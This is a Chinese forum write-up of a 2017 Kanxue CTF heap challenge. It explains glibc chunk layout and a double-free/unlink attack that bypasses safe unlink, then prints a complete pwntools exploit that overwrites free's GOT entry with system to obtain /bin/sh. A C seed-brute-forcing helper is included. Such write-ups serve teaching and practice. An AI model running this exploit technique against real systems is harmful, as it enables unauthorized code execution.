首页
社区
课程
招聘
[原创]看雪10月ctf2017 TSRC 第四题——double free
发表于: 2017-11-1 11:43 5421

[原创]看雪10月ctf2017 TSRC 第四题——double free

2017-11-1 11:43
5421

前言

第一次做Linux的漏洞利用,最后搞到凌晨4点终于弄好了。。。现在做下笔记吧,我尽量写的详细点,是给自己看的也是给其他没玩过Linux漏洞利用的新手看的,大神可以绕道了,哈哈
首先这是一道double free的题目,顾名思义,就是把一个malloc出来的内存释放两次,在这之前我先简单介绍一下linux的堆管理机制。。。这方面的资料比较全,所以我这边不会说的很详细,只会说这道题需要用到的部分,,,
https://bbs.pediy.com/thread-218313.htm
http://www.freebuf.com/articles/system/91527.html
http://www.cnblogs.com/alisecurity/p/5486458.html
这些资料都是不错的。。。

基础知识

但这道题,就记住以下几点:

  1. linux中,有一个或多个内存segment作为堆使用,这点与windows一样
  2. 这些segment会有某种数据结构(bins),用于表示当前堆的分配状态,即,哪个区域的内存是chunk1,哪个是chunk2(chunk可以把它理解成malloc出来的那片内存)
  3. 堆的管理由操作系统完成(当蓝啦

那么这个数据结构是什么样的呢,很复杂,我这里不可能全部讲清楚,做这道题只要记住这几点:

  1. 被释放的堆块(chunk),会被维护在某个链表中,如果是比较小的chunk(16bytes-64bytes),就是某个单项链表,比较大的,就是双向链表
  2. 正在使用的chunk,不会在这个链表中,所以,当malloc的时候,chunk会从链表中被卸下,然后把指向数据块的指针返回给程序
  3. 释放chunk时,如果发现前一个chunk(内存上相邻的前一个,不是链表中的前一个)也是被释放的状态,那么操作系统就会把前面那个chunk卸下来(这里就是利用漏洞的点!!!),然后把要被释放的chunk和它前面的chunk合并成一个大chunk,并插入链表(注意,这一条并不是对于所有chunk都适用的,比较小的16-64bytes的就不会这么拼,但是我在这道题里申请的都是比较大的chunk)

好的,现在来看看chunk的数据结构长啥样。。。

1
2
3
4
5
6
7
8
9
10
11
struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;
 
  //如果chunk是被释放状态,那么这里就啥都没有,是一片未被使用的内存
  //如果是使用状态,那么这里跟着前面的fd,bk,都是用户数据块
  //本来这里还有两个指针的,但是是只对large block有用的,我们这里用不上,我们申请的只是中等大小的chunk,所以不写。。。
 };

prev size是内存位置上,前一块内存的大小,如果前一块内存是被释放状态的话(如果不是,这个8字节貌似就是属于前一块chunk的用户数据部分)

 

size是自己这个chunk的大小,包括上面的4个成员变量的32字节以及后面未被使用的内存,但是因为始终要8字节对齐,所有后三位始终是0,浪费这三位不好,所有就在这里弄了3个flag,其中两个不讲,但是最低位(0bit)是代表前一个的chunk是否正在被使用,如果是,那就是1,不是,就是0。
那么为什么他要这么做?自己的chunk里面不放自己是否被使用放别人是否被使用干嘛???还记不记得在前面我说过的合并操作,释放一个chunk时需要知道前面一个chunk是否被使用,如果没有就要合并,我们通过记录上一个chunk是否被使用,可以判断是否需要进行合并操作。如果只记录自己的,我怎么知道前面一个chunk是不是正在被使用的?prev_size是只在前一个free的时候才用的喔,如果前一个正在被使用这个字段是用户数据,没法定位到上一个chunk的开始位置,所以就没法知道上一个chunk的使用情况。但是记录前一个的使用情况呢,既可以知道前一个的使用情况,也可以通过size字段定位到下一个chunk获取自身的使用情况,efficiency比记录自己的使用情况不知道高到哪里去了。。。
扯远了,继续说fd和bk,这两个字段就很明了了,就是双向链表的前一个和后一个,(如果是单向链表就只会用其中一个但是这里我们不考虑。。),注意这个fd是链表上的前一个,而不是内存上的前一个,所以prev_size跟fd指向的东西八杆子打不着关系。。。

解题

好的,回到这一题,拿到这一题,随便手工fuzz一下,比方说在回显的地方%d一下啊(格式化字符串),输入超长字符串啊(缓冲区溢出),">\啊(走错片场的xss(误)),之类的。。。最后发现delete box两次的时候,会爆出异常,很容易想到就是double
free。。。
现在我们来构造几个box:

  • get small size:256

  • get normal size:272

  • free small

  • free normal

  • get big size:544
    注意,此时big box的堆内存地址与small box(已被释放)的起始地址相同!因为256+16(prev_size与size)+272=544,按照顺序释放small和normal之后,这两个chunk会被合并,大小刚好是544+16(这个16是这个chunk的prev_size和size,但是用户可使用内存就是544,所以申请544会返回这个chunk),具体可以看这位大神的文章https://bbs.pediy.com/thread-218395.htm,我懒得画图了(逃
    这个时候,normal的所有数据,我们都已经可以操控了,包括prev_size和size,我们再free normal的话,从这个chunk中所获取到的信息都是我们可以伪造的!

    这个时候,假如我们伪造一个prev_size,并把size的0bit设为0表示前一个chunk是空闲的,并且在前面再伪造一个chunk并伪造其prev_size和size,就可以让操作系统合并这两个chunk,其间会把前面那个我们伪造的chunk卸下来先,这就会造成unlink的漏洞利用!造成经典的DWORD SHOOT!
    但是,如果我们要unlink p,safe unlink会先检查p->fd->bk == p && p->bk->fd == p,这就比较麻烦了。但是还是有可乘之机!我们假如在内存中找到一个p_addr地址,使得其中内容是指向p的指针,那么让fd为p_addr-0x18,bk为p_addr-0x10,就可以执行unlink,unlink后使得p_addr的值为p_addr-0x18

    那么,哪里有这么一个符合我们条件的p_addr呢?我们IDA打开这个程序,发现box的指针都是全局变量!那么就了然了,我们让p_addr为存放big box的地址,就可以完美地绕过safe unlink!这个时候,big box的指针不再指向堆,而是全局变量——little box的指针的地址,此时如果我们再edit big box,便可以影响所有box的指针。
    影响了有什么用?首先我们改变box指针后edit可以实现任意写内存,而show msg in box可以实现任意读内存,而且,我们的目标是执行system("/bin/sh")

所以exploit的步骤:

  1. get little box with size 0x20
  2. leave message "/bin/sh" in little box
  3. get_box(2, 0x100) #get small box
    get_box(3, 0x110) # get normal box
    free_box(2) #free small box
    free_box(3) #free normal box
    get_box(4, 0x220) # get big box,现在big box会和small box有同样的初始地址,如前面所说

  4. leave the payload into box 4(big box)

  5. double free normal box, 现在big box的指针指向little box的指针的地址
  6. show message big box,获取"/bin/sh"的地址
  7. leave message to big box: bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00'

    little box small
    box normal box
    ​ 此时p_addr+ displ_to_free是free的GOT表地址,这是个啥呢?其实就类似于windows下的IAT表,里面的内容是free函数的函数指针。我们这样就可以读取small box的内容,从而获取free函数的地址,我们要他干嘛?因为libc有ASLR,我们需要先获取free地址,然后才能计算出system的地址。
  8. show message in small box, 计算system地址
  9. leave message in small box,把free替换成system
    10.
    delete normal
    box,这时free已经是system了,所以free(normal_box)实际上是system(normal_box),而normal
    box中实际上是"/bin/sh"(如步骤7),所以system("/bin/sh"),get shell!

还有,这个./club也是有ASLR的,所以p_addr的地址不能直接得到,我们逆向一下这个程序的话,发现猜随机数可以获得seed地址,从而可以计算出p_addr。
这个随机数就比较简单了,第一次我们猜错,他会告诉我们第一次的随机数rand()的值,拿这个可以逆推出seed,因为seed是seed的地址取低32位,会有低12位是固定的,所以很容易穷举出来,我是弄了个json。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import json
import os
 
from pwn import *
from subprocess import Popen, PIPE
 
g_local = True
 
if g_local:
    sh=process("./club")
    #raw_input("ida has attch? Press any key for continue...")
else:
    sh=remote("123.206.22.95",8888)
 
def getPrevNum(str):
    i = 0
    while (i < len(str)):
        if (str[i] < '0' or str[i] > '9'):#not digit
            break
        i = i + 1
    return str[0:i]
 
def get_seed(first_rand):
    f = open("rand_to_seed.json")
    to_seed = json.load(f)
    seed = to_seed[first_rand]
    return seed
 
def get_scd_rand_from_seed(seed):
    pipe = os.popen( "./get_scd_rand " + str(seed))
    scd_rand = pipe.read()
    pipe.close()
    return int(scd_rand)
 
def get_scd_rand(first_rand):
    return get_scd_rand_from_seed(get_seed(str(first_rand)))
 
def six_ops():
#pre: init state, post: ops input
    global sh
    sh.recvuntil("6) exit\n> ")
 
def get_base_addr():
#pre: in ops input, post: next ops input
#return secret number that is the addr of seed
    global sh
    sh.send("5")#gess number
    sh.recvuntil("> ")
    sh.send("1")#arbitrary number
    sh.recvuntil("The number is ")
    fst_rand = int(getPrevNum(sh.recv()))
    print fst_rand
    sh.send("5")#gess number
    sh.recvuntil("> ")
    sh.send(str(get_scd_rand(fst_rand)))
    sh.recvuntil("You get a secret: ")
    secret = int(getPrevNum(sh.recv()))
    return secret
 
def get_box(which_box, iSize):
#pre: in ops input, post: next ops input
    global sh
    sh.send("1")#get a box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    sh.recvuntil("Input the size you want to get:\n> ")
    sh.send(str(iSize))
    sh.recvuntil("6) exit\n> ")
 
def free_box(which_box):
#pre: in ops input, post: next ops input
    global sh
    sh.send("2")#destroy a box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    print sh.recvuntil("6) exit\n> ")
 
def leave_msg(which_box, msg):
    sh.send("3")#leave msg in a box
    sh.recvuntil("5) huge\n> ")
    #print which_box
    sh.send(str(which_box))
    sh.send(msg + '\n')
    sh.recvuntil("6) exit\n> ")
 
def show_msg(which_box):
    sh.send("4")#show msg in the box
    sh.recvuntil("5) huge\n> ")
    sh.send(str(which_box))
    ret = sh.recvuntil("6) exit\n> ")
    endIdx = ret.find("You have 6 operation") - 1
    return ret[0:endIdx]
 
seed_to_p_addr = -40
displ_to_free = -0x108
free_off = 0x00000000000844f0
system_off = 0x0000000000045390
 
six_ops()
seed_addr = get_base_addr()
 
get_box(1, 0x20)
leave_msg(1, "/bin/sh\x00")
 
get_box(2, 0x100)
get_box(3, 0x110)
free_box(2)
free_box(3)
get_box(4, 0x220)
 
p_addr = seed_addr + seed_to_p_addr
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100)
leave_msg(4, payload)
 
free_box(3)#double free
print "after double free, now box 4 pointer has changed and point to p_addr-0x18(box 1)"
 
bin_sh_addr = show_msg(4)
 
payload_leak = bin_sh_addr + '\x00\x00' + p64(p_addr+ displ_to_free) + bin_sh_addr + '\x00\x00' #+ bin_sh_addr + '\x00\x00'#p64(p_addr-0x18+displ_to_free+0x10)
 
leave_msg(4, payload_leak)
free_addr = show_msg(2)
ufree_addr = u64(free_addr + "\x00\x00")
print hex(ufree_addr - free_off + system_off)
leave_msg(2, p64(ufree_addr - free_off + system_off))
sh.send("2")#destroy a box
sh.recvuntil("5) huge\n> ")
sh.send(str("3"))
 
#leave_msg(4, num_of_As * 'A')
#print show_msg(4).split()
print "succeed"
 
 
sh.interactive()
 
 
 
#small 256
#normal 272
#free them
#big 544
#free normal again
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdlib.h>
#include <stdio.h>
#define SEED_OFF 0x202148
void proc_srand(unsigned int i)
{
    srand((unsigned int)(i + SEED_OFF));
    printf("\"%d\":%u,", rand(), (unsigned int)(i + SEED_OFF));
}
 
int main()
{
    //system("/bin/sh");
    printf("{");
    unsigned int i;
    for (i = 0x00000000; i < 0xffffe000; i += 0x1000)
    {
        proc_srand(i);
        /*if (i + SEED_OFF == 0x75b4148)
            getchar();*/
    }
    proc_srand(i);
    i += 0x1000;
    srand((unsigned int)(i + SEED_OFF));
    printf("\"%d\":%u}", rand(), (unsigned int)(i + SEED_OFF));
}
 
/*
0x000055dd139ce000
0x000055ce8c5e3000
0x000055aaadb17000
0x00005610214b0000
0x0000558f744b5000
0x000056038011e000
0x0000564d46904000
0x0000556e073b2000
*/

[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费
支持
分享
最新回复 (4)
雪    币: 13516
活跃值: (3801)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
2
这是第四题吧,尽快补充
2017-11-1 12:17
0
雪    币: 438
活跃值: (239)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
楼主代码部分要重新编辑一下吧。
2017-11-2 18:26
0
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
4
ID蝴蝶 楼主代码部分要重新编辑一下吧。
用markdown编辑了一下,好了
2017-11-2 22:17
0
雪    币: 41
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
2017-11-5 12:38
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册